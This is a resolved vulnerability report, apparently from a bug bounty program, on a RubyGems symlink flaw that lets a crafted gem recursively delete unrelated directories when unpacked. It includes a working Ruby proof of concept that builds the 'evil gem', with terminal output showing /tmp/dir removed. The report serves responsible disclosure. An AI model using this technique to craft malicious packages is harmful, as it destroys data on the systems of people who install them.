Delete directory using symlink when decompressing tar
Medium
R
RubyGems
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
In 2.7.6, the safety of symlink is confirmed with `mkdir_p_safe`,
Before that `FileUtils.rm_rf destination` is running.
Therefore, if `tmp/dir` is specified after `tmp -> /tmp`, the following `/tmp/dir` is deleted.
### Proof of concept
#### builder.rb
```ruby
require 'rubygems/package'
class GemBuiler
def initialize spec, path
@_build_time = Time.now
@_checksums = {}
@_signer = Gem::Security::Signer.new nil, nil, ""
@_spec = spec
@_path = path
end
def build &block
Gem.load_yaml
require 'rubygems/security'
@_spec.mark_version
File.open @_path, 'wb' do |gem_io|
Gem::Package::TarWriter.new gem_io do |gem|
add_metadata gem
add_contents gem, &block
add_checksums gem
end
end
end
def add_checksums tar
Gem.load_yaml
checksums_by_algorithm = Hash.new { |h, algorithm| h[algorithm] = {} }
@_checksums.each do |name, digests|
digests.each do |algorithm, digest|
checksums_by_algorithm[algorithm][name] = digest.hexdigest
end
end
tar.add_file_signed 'checksums.yaml.gz', 0444, @_signer do |io|
gzip_to io do |gz_io|
YAML.dump checksums_by_algorithm, gz_io
end
end
end
def add_contents tar, &block
digests = tar.add_file_signed 'data.tar.gz', 0444, @_signer do |io|
gzip_to io do |gz_io|
Gem::Package::TarWriter.new gz_io, &block
end
end
@_checksums['data.tar.gz'] = digests
end
def add_metadata tar
digests = tar.add_file_signed 'metadata.gz', 0444, @_signer do |io|
gzip_to io do |gz_io|
gz_io.write @_spec.to_yaml
end
end
@_checksums['metadata.gz'] = digests
end
def gzip_to io
gz_io = Zlib::GzipWriter.new io, Zlib::BEST_COMPRESSION
gz_io.mtime = @_build_time
yield gz_io
ensure
gz_io.close
end
end
spec = Gem::Specification.new do |s|
s.name = 'hello'
s.version = '0.0.1'
s.summary = 'hello summary'
s.author= "test"
end
# create evil gem
rm = GemBuiler.new(spec, "rm_dir.gem")
rm.build do |data_tar|
data_tar.add_symlink "tmp", "/tmp", 16877
data_tar.add_symlink "tmp/dir", ".", 16877
end
```
#### execute
```
$ ls /tmp/dir
file
$ ruby builder.rb
$ gem unpack rm_dir.gem
ERROR: While executing gem ... (Gem::Package::PathError)
installing into parent path tmp/dir of /xxx/yyy/zzz/... is not allowed
$ ls /tmp/dir
ls: /tmp/dir: No such file or directory
````
## Impact
Unrelated directories will be deleted when unpacking or installing a specially crafted gem.
Since `mkdir_p_safe` produces an error, only one can be specified, but it will be deleted recursively.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$500.00
Submitted
Weakness
Path Traversal